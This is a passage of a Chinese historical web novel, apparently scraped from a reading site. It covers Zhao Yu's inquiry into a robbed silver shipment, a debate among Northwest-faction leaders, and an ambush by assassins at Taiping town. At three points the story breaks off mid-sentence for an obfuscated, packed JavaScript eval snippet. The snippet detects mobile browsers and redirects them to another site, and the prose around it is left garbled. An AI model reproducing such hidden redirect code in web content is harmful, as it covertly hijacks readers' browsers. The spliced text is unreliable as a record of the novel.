顺天府的禁旗插了一大片,赵毓看见河畔搭建了一个柴棚,里面坐着几个人,身上是官服,正在用泥炉子瓦盆煮面吃。 赵毓对站在外面的兵卒说,“我想见姚肃姚大人。”同时,塞了一小块碎银在兵卒手中,“请您通报一声。” 炉子旁边一个武将,抬头一看是赵毓,“赵先生?”随即,他连忙摇头,“我不知道,我什么都不知道。” “我什么也没问,您不知道什么?”赵毓,“一个夏天没见,您老结实了。上次有人在我留园下套,要不是您住持公道,那天我就得吃亏,说起来,还欠您一个人情,哪天您有空,我得做东,好好请您喝顿酒。” 姚肃是顺天府的七品武官,夏天之前,就是他带人搜的留园。 此人为人正直,赵毓本人机警,所以当时也没人吃亏。只是,那个时候,姚肃就知道赵毓这个人不好惹,万一哪里不对付,他能把惹他的人扒一层皮下来。当然,对上随侯世子,他现在还没胜算,可是对自己这种芝麻官,不知道他能做到哪一步? 姚肃从炉子旁边走出来,赵毓把手中拎着的六只酱兔子递过去。 “我有事回冉庄,刚好路过这里,见您也在就过来打个招呼。兄弟们连夜站岗也是真辛苦,这几只兔子不值钱,给大家加个荤腥,您就别推辞了。” 此时,姚肃又感觉赵毓实在是会送礼。 如果这个时候他捧着银子,姚肃肯定不收,这几只兔子,实在不值钱,却又是现在最需要的美味,硬要推辞出去,显得自己过于小家子气。 他让手下人接过去,还道了谢。此时,周围的人明显有欢愉的气息。 “赵先生,我明说,我真的什么都不知道。”俗话说,吃人家嘴短,接过酱兔子,姚肃的口气也没有那么冲了。 赵毓却笑,“瞧您这话说的,姚大人,我可是什么都没有问哪。” “拉倒吧。”姚肃回了一句,“自从风言风语传了出来,雍京地面的大财主们已经派人轮番过来个遍了,就是想要打听出十三行银船的确切消息。” 他说着,看了看赵毓,又看了看他身后的文湛,随即,他的眼睛就钉死在文湛身上。 按理说,这么一个异常俊美的年轻男人只能引起他这种武人的反感与蔑视,可是,此人不会。 这个人蹊跷的可以引起姚肃作为武人的警觉。 究竟是哪里不对劲,姚肃却说不上来,他只觉得今早很冷,过分的冷,似乎可以封冻北疆鸭子河的风刮过了长城,吹到雍京南郊。 赵毓则微微浅笑,“姚大人,这十三行的事,可是您说的,我可真的没问哦。” “我说什么了?”姚肃马上改口,“我可什么都没说!赵先生,您可什么都没听见,这要是以后再有什么风言风语,我可什么都不认!” “不让您认什么。”赵毓笑着,轻轻伸手,做出一个邀请的姿势,他同姚肃进一步说话。“十三行的周熙是我多年的好友,这次出的事情太大,我回冉庄路过此处,怎么也要看看,这也是人之常情,是不是?” 姚肃知道赵毓,知道他的留园,虽然不太了解西北道,也知道此人身家巨万。 他们这样的人,自然结交的都是财神爷一样的人物。所以,当赵毓说自己同十三行的周熙是朋友的时候,姚肃是坚信的。 “明白。”姚肃点头。 赵毓又说,“现在一场一场的秋雨,天儿稳不住,马上就冷了。我手底下的商铺进了一批粗布,您给兄弟们一人分两丈,也做一件厚实的衣服,留着过冬。” 姚肃摆手,“赵先生,这可不好意思。” “哎。”赵毓说,“我当过兵,知道弟兄们日子过的不容易,谁家都是上有老下有小的,当差的饷银就只够一个人嚼头,老婆孩子都要喝西北风了。我从西北回来,户籍已经迁入了雍京城,顺天府可是我的父母官。大事我做不了,小事情,能做些什么,就做些什么,姚大人,这种小事,您可不要再多客气。再说,您看不上眼的这些东西,弟兄们可还要穿衣吃饭不是?” 姚肃,“成,我就代我手下这些弟兄们多谢赵先生这尊财神爷了。” “财神爷可不敢当,我也只是做点小买卖,糊口而已。”随后,赵毓声音都轻飘了一些,“姚大人,十三行财雄势大,这次的事情就等于给十三行脸上直接砍了一把刀,要是他们有什么过激的地方,对您有不敬,您要多体谅。毕竟周熙是当家,如今生死未卜,人家慌了神,也是人之常情。” 这话说的没头没脑的,姚肃却听到明白。 赵毓这话说是说,十三行依仗财势,也许会对他们造成一些压力,也让他多宽心。 “这些,赵先生到不用担心。”姚肃笃定的说,“这世上,无头冤案多的是,十三行到底有财势有格局,在这事上不跟我们计较。” “十三行不计较吗?”赵毓点头,也笑了,越发的柔和,“那就好,那就好。” “不但不计较,反而,……”也许是方才的六只酱兔子,也许是那些粗布,或者是赵毓这个人身上柔和到极致,毫无攻击性和阴谋的干净气息,让姚肃说出来心中一点没来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“听姚肃的话头,停尸的地方肯定不在雍京地界,那应该在哪里?”赵毓顺着河道看了看前方,手中的马鞭一指前面,“那边是哪里?” 文湛也不太清楚。他身边的御林军兵士回话,“直隶,太平镇。” “太平镇?”赵毓听着这个地名,感觉有些耳熟,只是怎么也想不起来为什么。“这个地方的名字好,想来是一方宝地。” 文湛却说,“原来,它不是这个名字,我记得应该是远安,一百几十年前闹过瘟疫,人都死绝了。后来,久而久之,这里被废弃,荒草丛生,逐渐,周围村镇的人将死去的人埋葬在这里。为了镇邪,村子里面的人请道士换个名字,就是太平镇。现在去,应该是一片接连着一片的坟地。” 赵毓,“……” “怎么不说话?”文湛问他。 赵毓,“我以为自己至少对雍京周围的事情还算熟悉,却从来没有听说过这里。” “你怎么会知道?”文湛声音平静,“这里发生过的事情,全部写入密档,一直封存,就放在微音殿三层的秘阁当中。当年的事情过于惨烈,也有伤天和。如果不是当时的内阁害怕瘟疫蔓延到京师而下了封锁的命令,太平镇也不会成为一座死镇。不过,如果不是那道命令,也许,如今的雍京已经是另外一个王朝的京师了。” 闻言,赵毓忽然勒住马。 文湛问,“怎么?” “我累了,就在这里休息吧,等等定国公的人。”赵毓下马,“文湛,明日大朝会,你先回雍京好了。” 文湛没动,只是看着他。 赵毓知道需要实话实说,“这里的意头不好,你别去。” 文湛反问他,“那么,你以为我放心你一个人进太平镇?” “陛下,您这么说,裴公爷可要哭鼻子的哦。”赵毓却笑,“定国公的人,不是人吗?” 文湛弯腰,一把攥住赵毓的腰带,将他提到自己怀中。 同乘一骑。 “不是。” “……” 74. 74 74 雍京,敦煌会馆。 薛宣平坐在八仙桌前,正在为了吃羊肉泡馍做准备。 他原来是赵毓刚到西北领兵时候的伙夫,这么多年混下来,别的本事每长多少,唯有两样最爱:一是钱财,这个第二,就是吃食。 薛宣平的手指掐住一个白面馍,用耐心一点一点的捏碎,放入大碗中。他已经掰开碾碎了一个馍,旁边早有厨子准备好羊肉汤与粉丝,还有糖蒜和辣椒,就等他把第二个馍也碾碎,直接在他面前的大碗中浇入热汤。 老大萧呈手中拿着一个长杆烟枪,正在抽土烟。 烟是自己在后院种的,新鲜烟叶晒干之后折叠捆紧切丝,喷上茅台兑蜂蜜,再干炒一遍,封入瓷坛。 薛宣平一边掰馍,冷不丁的说了一句,“老大,别看我了,再看我,您还是愁。” 萧呈让身边的丫头也给他掰一碗馍,“老薛,你真是没心没肺。” “我呢!”薛宣平弄好了馍,厨子给他碗中浇上热汤,热气一上来,蒸腾腾的,带着一种烟火意味的仙气,“心肝肺都全,肚子中也有食儿,什么时候不慌。” “有食儿?”萧呈见左右都是自己的亲信,这才问出了一句深埋心中的疑惑,“你就这么相信赵毓?” “信。”薛宣平点头,“我一出生就死了爹,娘为了养我把本家的叔伯睡了个遍,就这,我还三天两头饿肚子,我能长大成人,没病没灾就是我亲爹保佑了。可是,这大郑的天下,像我这种出身的人是混不出来的,只能去当兵。我说句实话,老大,我跟您,还有咱们西北道的那些聪明人不一样。我知道自己笨,也认命,不像你们,总想着证明自己没那么笨,每天跟自己,跟别人,跟老天爷较劲。” 萧呈,“赵毓是聪明,这我承认,可他,……” “老大,您活了这么大岁数,怎么连这些都看不透?”薛宣平抓起一块羊肉直接放入口中,“赵毓是不是聪明,这重要吗?” 这次萧呈没说话。 薛宣平,“要说聪明,这天底下聪明人多了去了,别人不说,老八就精的像个秃尾巴猴!这么多年,他吃过什么亏?哪一次分红他不是拿大头,哪一次真出事,他不是先把自己摘的干干净净?上一次,他私带鸦片过境,让北境的边军抓个正着,为了那件祸事,我们死了多少人,可是他身上连个毛都没短吧?为了自己,他可以亲眼看着弟兄们去死,可是转过头来,他又可以用大笔的好处堵住所有人的嘴,非要说聪明,老八比老赵还聪明!可是,……” 这一次,薛宣平拿个大勺子,舀起来一大口吃食,连汤带肉,还有馍和粉丝,直接塞入嘴巴中。 萧呈自然之道老八是什么人,只是他信奉的是曹操那一套用人之道,——知人善任,唯才所宜。 老八昌渡为人私德不休,但是对西北道,对他萧呈却极为忠心,做人不行,做生意,尤其是偏门的生意却是一把好手。他萧呈不能每年拿着老八递过来的大笔的来历不明的红利,却要人家金盆洗手、做个干干净净的君子。 至于赵毓,……,这个人太难用! 薛宣平自然知道萧呈的心思,“老大,老赵这个人,很多时候都在犯傻。不说别的,就说这次的十三行的事,当时周熙已经决定自己死,把赵毓给摘出来,是赵毓自己把自己拖下水的。他当时说过一句话,如果十三行的钱庄完蛋了,那一天,雍京城有多少普通人就得上吊!他还说过,户部要开始收税了,银价再不下来,雍京城就乱了。老大,您听听,这些话如果说给老八昌渡听听,他的大牙都要笑掉了。萧老大,就着一点,咱们谁都干不过赵毓。” 萧呈有些不以为然,“因为他是老好人吗?” “他是吗?”薛宣平反问。 萧呈,“是什么?” 薛宣平,“赵毓是老好人吗?” 当然不是! 这些年他们都在西北,也是亲眼看着赵毓如何平定边境,如何掏空西疆十六国,如何压制边境各部族,如何将那些本来也很贫瘠的耕地变成不毛之地。与战争的同时,赵毓借助西北道发行了大量的战争债票,从虚空中变幻出不可计量的财富。 老好人能做这些事情吗? 萧呈,“那你的意思是?……” 薛宣平,“不管咱们这里的人怎么酸人家什么入赘女婿啊,什么只有一个闺女就绝后了,什么老岳父权势仍在不敢纳妾不敢续弦啦,不管说什么,他赵毓就是西北王尹明扬的家人。” “这人一出生就分三六九等,尹明扬告老还乡之前是总督是兵部尚书,是科甲正途出身的进士,人家尹家几代做官,就跟咱们这些十岁之前没穿过鞋的人不一样。老赵看的东西是咱们看不到的,他知道的事情也是咱们想不到的。” “老大,听我一句话,你就不纠结了。” 萧呈问,“什么话?” 薛宣平,“咱们刚开始都是光屁股上的赌桌,当时就把脑袋别在裤腰带上,输赢都不怕。现在呢,大家手中赢了一些东西,你们又找了婆娘生了儿子,心中肯定想的是怎么把手中这些筹码守住,所以想的就多,烦恼就多。” 萧呈,“你说了几句话了?” 薛宣平,“马上,马上这最后一句就出来了。” 他装作斯文的样子,凝神静气说,“认命,这就是最大的聪明。” “老大,承认吧,老赵从根子上就跟咱们不一样。人家是汝窑的瓷儿,咱们是破瓦罐。不过破瓦罐有破瓦罐的好处,他汝窑的瓷儿也有汝窑的瓷儿的烦恼。” 萧呈,“你再不说我揍你!” 薛宣平,“您还记得有一次咱们围剿高昌残余,闯入了他们的神山圣地,差点走不出来丢了性命的事情吗?” “记得。”萧呈点头。 薛宣平,“如今的雍京城就是那座神山,咱们身处其中,只能看到眼前这点东西,有大树,有白雪,有雾气,周围肯定也有豺狼虎豹,有陷阱,甚至有我们自己人背后的冷箭。我们想要走出去,只能拿着脑袋在探路,探一步,走一步,只是,要是行差踏错一步,都有死无葬身之地的危险,赵毓却不会。” “老赵就站在最高山的山顶,已经接近天边了,他从那儿向下看。”薛宣平说着,还抬手指了指敦煌会馆的楠木大梁,“我觉得他能看清楚雍京全境。” “所以,他要做的事情,我只要跟着做就好,别的,我不想。“ “我没婆娘没儿子,老娘也被我风光大葬了,我还是原来那个伙夫,依旧是光着屁股上的赌桌,说实话,不到我咽气的那一天,我不知道自己是输是赢。” 萧呈显然已经被说动,此时,他只是很难否决之前的自己。 “只是,老八那里,……” “老大,我不说别的,只说一件事。”薛宣平龇牙乐,“老八昌渡和赵毓,谁的钱多?” 萧呈一点不含糊,“赵毓。” 薛宣平,“那就听老赵的。咱们西北道向来规矩分明,除了您德高望重,其他人,谁钱多,谁说话!” 此时,雍京的银价再上三成! 赵毓压在西城赌坊下注雍京银价狂泻的定金已经不足以支撑一天的交易了。 薛宣平满肚子的羊肉泡馍,脑子倒是没有塞满了羊肉汤汁。 他盘算了盘算自己手中那点家底,就算全押在西城赌场,也不过帮赵毓多支持半日,有这半日的时光,足够支撑到第二天太阳落山,赌场休市。 至于萧呈,…… 薛宣平可不认为这位老大也会押上自己的身家性命,即使他现在似乎被自己说服,开始相信赵毓。 萧呈能在西北道掌家,凭借的不是不顾一切的赌性,反而是他性子中的‘胆怯’。 萧老大做事情讲究的就是‘均衡’,就比如他自傲的用人之道。 他总是自诩为曹操,其实他可不像那位乱世枭雄,萧呈不知道在哪里学了什么驭人术,每次用人都是一左一右两个,让他们左右互搏,他好从中制衡,从而得利。 萧呈不但做生意如此,赌桌上更是这样。 押宝的时候,肯定押两边,绝对没有赵毓那种不顾一切的孤勇,所以,他赢的也没有赵毓那般酣畅淋漓。 但是,他也不会像同那些早已经消逝在西北戈壁上的孤魂野鬼,一败涂地。 老八昌渡押宝在雍京银价暴涨,已经赚的堆金积玉,萧呈肯定会随着押上一宝,就是不知道,这一次他会不会另外再随着赵毓也押上一宝银价狂泻了。 萧呈回到侯寨,发现儿子萧则回来了,如他所料,没有请赵毓回来。 萧呈,“出城了?” 萧则回答,“是的,向南边去的,应该是有事回老家冉庄了。” 萧呈点了点头。 萧则想着,要不要将赵毓连夜出城,并没有受制于‘夜禁令’的事情告知父亲,只是,他没开口此时外面有人禀告,他的同僚手持传令书进来: ——定国公裴檀抽调少数精锐出城。 此时,萧呈又想起来赵毓说的,既然想要走仕途,这就是正道,一定不能再同西北道的暗道生意有任何的牵扯。 对于萧则来说,赵毓是恩人,而定国公裴檀则是贵人。 萧则连忙收拾,换装,带上长剑与弓|弩跟随同伴出雍京城,裴檀居然亲自立马于镐川之水岸边。 只是,当裴檀看到萧则的时候,忽然开口问传令的将官,“萧则怎么来了?我原先征调的应该是校尉陈钊。” “大人,陈钊骑射的时候割伤了手指,所以属下调了萧则。如果大人觉得不妥,属下另外换人。” “不用。”裴檀看着远处的萧则,间隔一丈远,几许草丛,“萧则,也可。” …… 赵毓没有想到太平镇居然是这个样子。——森林繁茂,鸟语花香,居然一派世外桃源的景致。 这里倒是也有些坟,只是土包也是青草萋萋,与周围的环境融为一体。 他想要下马,文湛拦了他一下,随即,自己先下马。 皇帝身后的御林军半数跟随,另外的人,则端坐马上,手指按住腰间的强|弩,眼睛如同进入猎场的兽。 文湛亲自为赵毓牵马走了一程,确定周围安全,冲着他点了点头。 赵毓自己跳下来,“看样子,只要没有人烟的地方就不会有祸乱,不出几十年,大树野草还有这些野兔野鸟自然会夺回原本属于自己的地盘。” 文湛听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728932|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了听风声,对眼前这幅景象也是意外。他说的话,却让赵毓也是意外,“这里的里长每年有定额的银钱与禄米。” “真的吗?” “嗯,直隶总督署直接调拨。”文湛说,“虽然不多,每年俸禄5两白银,禄米10石。” 赵毓啧啧,“大郑建制只到县一级,连县府书吏都由县太爷养活,这里的里长居然朝廷发放的银钱,真是稀奇。所以,这里算是方外之地?” 不过,没有等皇帝说什么,赵毓就笑着自己又加了一句,“朝廷薪俸覆盖的地方,怎么可能是方外之地?只是,希望这里不是天高皇帝远的法外之地就好。” 文湛,“天高,可是皇帝不远。” 眼前的路虽然看上去已经废弃,却因为早先修建的时候使用的是山中采来的大石头砌成,路面不塌,马匹在上面可以成行。只是道路两旁长满了一人半高的蒿草,颇有一种蒹葭苍苍,白露为霜,所谓孤魂,在水一方的意境。 “难道人烟稀少的地方,草长的也旺盛?”赵毓嘀咕着,“要是这里还有多余的地,我也来种菜好了。最近一段时日我没回去,我总感觉我家的门房大树和烧水的大妈不太会种菜,昨晚瞥了一眼,发现有一种草盛豆苗稀的趋势。” 文湛开口,“勤政殿后一片山地,水土不错。” 赵毓,“那里当然好。先帝从贵州移了紫竹过来,只在那片山地上可以养活。那里旁边就是鹧鸪殿,有温泉有活水,土也肥厚。” “嗯。”文湛,“所以,如果你有那个想法,可以将勤政殿后面的紫竹刨了,种一些黄瓜豆角什么的。” “……” “怎么?”皇帝问他。 那片土地命运多舛,大正宫筑起一千二百年来,多次被深挖,多少奇珍异草曾经在那片土地上茁壮成长,又多少名贵花卉曾经在那里零落成泥碾作尘。 太|祖喜欢郑国故土的桃花,太宗喜欢白梅,宪宗喜欢战场的紫荆,裕宗喜欢宠妃爱重的蔷薇,先帝喜爱紫竹,今上,…… 当今圣上倒是没有什么奇诡的爱好,就是因为他赵毓的一句话,想要把那些名贵的紫竹尽数刨掉,用来种黄瓜柿子茄子豆角。 说起来,还真是不风雅呢! 太平镇有署衙,原本是一个大户人家的庭院,很显眼,就在乱石板路的尽头。 七八间的大瓦房,顶上是青灰色的瓦片,里面也是杂草丛生,一个青衣布衫的年轻人在屋顶上铺毡子,看到了赵毓文湛一行人。 赵毓起手,“我们相见这里的里长。请您,……” “你们是保定来的仵作吧。”那人放下手中的毡子,在屋顶俯瞰底下的人,还有马匹,随即啧啧称赞,“直隶总督署就是有钱,连出公差的仵作都能骑大马。” 仵作?……那一定与死人有关系。 赵毓听了这些话,连忙顺着他说,“哦,对,我们是冉庄来的。” “冉庄?那你们来的挺快的呀。”那人说着,从梯子慢慢下来,到了地面上用自己的衣袍擦了擦手。 “没法子。”赵毓含糊道,“出了这么大的事情,上面总想着快点弄清楚,不然砸到自己手里,年底不好了结。请问您,哪里可以找到里长?” “我就是。”那个年轻人嘿嘿一笑。 “你?”赵毓又看了看他,“您可真是年轻有为。” “不年轻了,我家娃都能满地跑了。”里长笑呵呵的,“上代里长夏天刚去世,他老人家高寿八十四,就是阎王爷叫人的年纪,没躲过去。” 冉庄村子的老话,七十三、八十四,阎王不叫自己去! 赵毓听着跟着叹口气,“去世虽然很让人难过,不过能有如此高的寿数,也是福气。” 里长,“几位,连夜赶路,吃饭了吗?” 赵毓多谢他的好意,随后道,“里长,我们还要尽快回去为总督颜大人复命,所以,先做事情比较好。” 里长却看着赵毓,似笑非笑的,“您是新来的吧。” 赵毓,“呃,……,是。里长怎么看出来的。” 里长还是笑,“您方才的话,没有一句在道上,连规矩都不懂,如果不是故意的,自然就是新来的。” 赵毓一听,从袖子中拿出一锭银子,这是雍京铸银局的官锭。 里长笑着,不说话,也不接。 赵毓又加了一块。 里长不接,却开口,“天平镇有太平镇的规矩,整个太平镇不到一百户,人不足六百,有的是土地,有的是山林和水塘。我们这里的人出不去,外面的人也不想进来,所以,这个银钱在我们这里,没有什么用处。” 赵毓一听,收起来银锭,“里长您给个章程。” 这位里长仔细端详了赵毓,再开口,也没有了笑意,“赵将军,不可一世的赵毓,你什么时候到直隶总督署做微末小吏了?当年的杀伐,当年的威风,当年的功绩都喂狗了吗?” 赵毓闻言,仔细看了看他。 “赵将军真是贵人多忘事,你不认识我了?” 赵毓依旧沉默。 那人道,“我是景沢。” 随后,再加一句,“征西大将军李钧麒副将景厝的幼弟,景沢。” 75. 75 75 如果不缺吃食,日子过的飞快,一转眼就将近十年。 如果缺衣少穿,每一天都很漫长,掰着手指,耗尽了心血,以为已经度过了半生,终究也不过就是一、两年的光阴。 如果,是仇恨呢? 元熙三年,景沢只有九岁。 他出身将门,父亲战死的时候是三品将军,而他的长兄则是征西大将军李钧麒的副将景厝。 先帝禅位,新帝少年登基。 原西疆十六国欺大郑主少国疑,屯重兵于西北边境,战火从敦煌与瓜、沙、肃、兰诸州一路烧到阴山南麓。 李钧麒领了征西大将军的印信,率百万大军西征。 作为他的副将,年仅二十六岁的景厝此生必定会建立不世功勋,封侯拜相可期,列土封疆可待。 但是! 前提是,景厝必须活着! 从西北带回来的家书都在报喜:全歼蒙古王斡惕赤斤的骑兵,剿灭回鹘三部,进军伊犁,……,最后一封书信说的是他们的部队已经攻破了叶尔羌城。 一家人就等着景厝衣锦还乡。 元熙四年的元月,有人从西北来。 那人带来了黑檀木盒子,其中用黑旗裹住骨灰,此外,还有一块玉佩,上等的羊脂白玉,雕刻了五毒之虫。没有封赏,没有圣旨,甚至没有一句准确的说辞。 九岁的景沢不知道他的长兄是战败,还是战死。 那人连祖母亲手泡的茶也没有喝,留下一盒银票就走了。 “等一下!”景沢追了出去,“我哥写了家书,上面说,他们已经攻占了叶尔羌城,已经打了大胜仗!他为什么没有回雍京?他说过,打了胜仗就回雍京,他答应过我娘,也答应过我!” 那人停下,回头看了看景沢,又看了看景宅半开的大门。 却。 一句话未说。 那时是元月,那年雍京的冬天格外冷,皓雪如银,滴水成冰。那个人就穿了一件破旧的蓝色棉袍,与雍京北城格格不入,在街头显得格外落魄。 景沢后来才知道,那年过来送长兄骨灰的人名字叫做赵毓。 此人家在西北云中。 不是雍京人,从来没有体会过雍京北城的安逸舒心与悬崖暗流,也永远不会享受到雍京的繁华与冷漠。 景沢看着眼前的赵毓,他几乎一眼就认出了他。 赵毓仔细端详了端详眼前的人,他当年看见景沢的时候,这人才九岁,十年过去了,他长大成人。孩子的面容与成人的面容相差甚远,赵毓已经认不出他来了。 “景沢?”赵毓沉吟了一下,才说,“你怎么在这儿?” “我不在这里,那我应该在哪里?是雍京西城的翠叶巷,还是,北城天泽巷?”景沢,“再说,我不躲在太平镇,难道还恭候将军领着人抄家,再杀我们景氏遗孤?” 此时,文湛一伸手,将赵毓揽在身后。 皇帝手中是一把轻巧的弩|箭,已经拉开了绷簧,尖锐的利箭直勾勾的对着眼前的景沢。 景沢却不认得眼前这个人。 他也不退缩。 “赵毓,我兄长是怎么死的?” “我杀的。” 赵毓异常直白的回答,倒是出乎景沢的意料。 “你不狡辩?” “没什么可辩解的。”赵毓说,“景厝违反军令,我必须杀他。” “违反军令?”景沢冷笑,“谁的军令?” 赵毓回答,“我的军令。” “你的军令?”景沢大笑,“赵毓,你有什么资格下达军令?!我兄长景厝是征西的副将,有破城的军功,可你呢,你有什么?!当年景厝破叶尔羌城,血战七天,部署死伤过半,那个时候你在哪里?尹氏六部在哪里?你们躲在叶尔羌河彼岸,看着我兄长和他的部署在厮杀,而你们就像财狼,等待友军重创,渡河坐收渔翁之利!” 赵毓忽然问他,“这些都是谁告诉你的?” “你怕了吗?”景沢反问,“害怕冤死忠良的家人知道惨烈的真相?” 赵毓再开口,声音极轻,“真相?” 景沢,“瞒不住的。赵将军,你是罪臣之后,虽然在西北战功卓著,却依旧是庶民之身,你的那些功绩就算不喂狗也只能为你岳父锦上添花。如今,尹明扬也快大祸临头了,西北王一倒,你的好日子也不多了。” 赵毓,“我岳父?” “他就在雍京城。”景沢脸上带着幸灾乐祸,“圣上要追究当年的事情,那些欺上瞒下、私杀平民冒领贪功还有构陷友军的事情再也盖不住了。赵毓,尹家倒了,你还有什么倚仗?” “那是我的事,不用你操心。”赵毓伸出手,微微用力,按下了文湛的手臂,随后,他踏前一步,笑着对景沢说,“景沢,既然我们暂时都做不掉对方,我们今天做朋友。” 景沢反问,“你怎么知道我做不掉你?” 赵毓,“你要是能杀掉我,就不会说方才这么一大通废话,说的你口干舌燥的。说吧,你的条件是什么,或者是,你要我为你做什么?” 景沢也笑,“你果然不是一般人。” 赵毓,“我想要看看从前面运河芦苇滩中打捞上来的尸体。” “好。”景沢点头,“不过,如果这只是你的条件,你很亏。” 赵毓,“你说条件,究竟是亏还是赚,我自己衡量。” 景沢,“我要你在西疆的银矿。” 赵毓一愣。 西疆戈壁滩,沙漠多,却没有银矿。 景沢,“你在西疆近十年,策动了前后绵延长达八年的战争,军饷充足,将士用命,不就是因为找到了那边的银矿?” “景沢,同你说那些话人,是不是洪丁?” “……” 赵毓看着景沢,眼神异常坚定,如同山谷中千万年的磐石。 半晌,景沢点头,“是。” 赵毓,“洪丁是高昌残余,他的真名是浑·撒怜丁。” 景沢没说话。 赵毓再说,“令尊战死沙场时,朝廷封赏一品将军。虽然你兄长景厝性差踏错一步,可是,朝廷没有降罪,景氏一族到底没有祸事。如果你与浑·撒怜丁再有联系,等同通敌叛国。” “吓唬我?” “不是。”赵毓,“我在劝你。” “猫哭耗子假慈悲。”景沢不屑。 赵毓,“西疆沙子多,没有银矿。” 景沢,“我告诉你,天平镇这里有人住,不到一百户,人不足六百,都被关在后面的山涧中,你再犹豫一会儿,我们的人开闸放水,这小六百人就淹死了。” 赵毓眼皮一挑,“怎么,在你心中,我是这么悲天悯人的人吗?” “我们早知道你会这么说。”景沢从怀中掏出一样东西,扔到赵毓脚下,“你再看看这个。” 一个羊脂玉雕刻的束发的环。 尹徵的东西! 景沢一乐,“我们再加上你小舅子尹徵,你愿不愿意拿银矿来换?” 赵毓眼神一烈,依旧沉默。 “如果,……”景沢,“再加上你的,还有你这些人的性命呢?” 突然从密林中飞出一杆长|枪,从一名御林军兵士的后背直接插|入!活人的身体犹如瓜菜豆腐一般,被切开,枪头露出,直接钉死在碎石板路上! 枪身部分长一尺四寸,柄上有镶嵌有青贝。 刃极端锋利。 此时,微风送来一只暮秋将死的蜻蜓,不小心撞到长|枪的锋刃上,立刻,被切成两半。 蜻蜓透明的翅膀带着半截尸体,猝然落地。 赵毓的眼睛一直看着蜻蜓的翅膀,“十三行的银船是你们打劫的?” 景沢不说话,却没有否认。 赵毓,“那么多白银还不够?” 景沢想要开口解释,不过,他最终还是什么都没有说。 赵毓忽然笑了,犹如三春微凉的风,只是,出口的话带着血腥的酷烈! “杀! 一人不留!” 赵毓骤然翻脸,景沢万千个没有想到,因而防不胜防! 与此同时,文湛手中的弩|箭陡然射出,咫尺之间,景沢的双眼中映射出那支利箭离弦! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728933|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——会死! 景沢心中狂喧! 此时,横着飞来一柄短刀,拦截住文湛的弩|箭,砍断成两截,锋刃完全没有损坏,直|插泥土,只剩下刀柄在外。刀与手柄之间是黄金色的阻隔,刀柄则是黑色的,雕刻着繁复的花纹,是白梅与蛇。 景沢死里逃生,立刻向后狂奔而去。 此时,御林军兵士手中弩|箭皆上弦,每把硬弩可以上三根箭,皇帝一声令下,数十只弩|箭分别射|向四面八方。这种强|弩是大郑军方的装备,这里伏击的人没有料想到赵毓带来的人会配备这样的武|器,所以顷刻之间,有一些埋伏的刺客丧命。但是,他们很快反应过来。随后,数十刺客身着黑衣,前仆后继的从草丛、密林,还有遗迹一般的房屋后面扑出来! 这些刺客每人身带两把刀,一把弯刀握于手中,一把短刀悬挂于腰间。 快! 他们好像专门被训练出来的杀人武|器,身法如同影子、如同风一般。 刀也快! 他们的长刀钢口极佳,砍人的身体如同生切瓜果菜蔬。 “二刀流?!”一位兵士忽然大喊:“倭寇!他们是倭寇!” 皇帝,御林军,京畿重地,将门逆子,倭寇。 不可避免一场血腥混战。 双方都有误判。 景沢的人没有想到赵毓带来的武力如此强悍,这些人不知道是什么背景,虽然没有带火铳,可是他们手中使用的这种强|弩却是大郑军方嫡系配备的武|器,而身上的功夫即使不是专门被训练出来杀人的利器,也绝非一般江湖巨商所能雇佣。 文湛与赵毓对景沢这边的误判更深。 皇帝只是不想赵毓在这里出意外,所以他们带了一些人马,他根本没有想到会遇到像一些样子的刺杀;而赵毓,他则更离谱,他原本以为即使能在这里遇到抢劫十三行银船的劫匪,也不过是一些小毛贼之流的货色。 不过,赵毓还是有一句话说对了。 现在谁也做不掉谁,双方处在一种微妙的平衡中。 刺客退去。 荒草中徒留一地的尸体。 赵毓松开手中的强|弩的叩机,方才过于紧张用力,手指已经勒出了伤口,流出了血,禁不住的发抖。 文湛拿过他的手指,放入口中嘬了一下,把血迹吞干净,撕扯下袖子上的一条白色的丝条,绑住赵毓的手指。 “你怎么知道那些人是倭寇?” 文湛知道赵毓的性子,即使对方再凶恶,他也做不到一出口就命令杀人,并且不留活口。 “蜻蜓切。”赵毓说,“他们要立威,杀死咱们第一个人的那柄长|枪叫做蜻蜓切,异常锋利,不用挥动,就可以切开被微风送来的蜻蜓。” 传说它原本是东瀛名将本多忠胜的武|器,由三河文珠派的铁匠藤原正真打造,因为杀伤力极强,被日本众藩武士仿造。 能使用蜻蜓切的人,即使不是倭寇,也不是善茬。 所以赵毓下意识的下了必杀令,其实,也是为了给自己人保命。 文湛,“二刀流?那是什么?” 方才喊出这个词的兵士正在严谨的收拾一地狼藉,他从泥土中拔出那柄短刀,跪地,双手呈在文湛面前。 文湛拿过这把刀。 真正掂在手中,才感觉这物件与平时上手的武器不一样。 沉,精美,像是工匠的心血淬入其中。 刀柄上的白梅与蛇显出短刀有一种杀戮中诡谲的美。 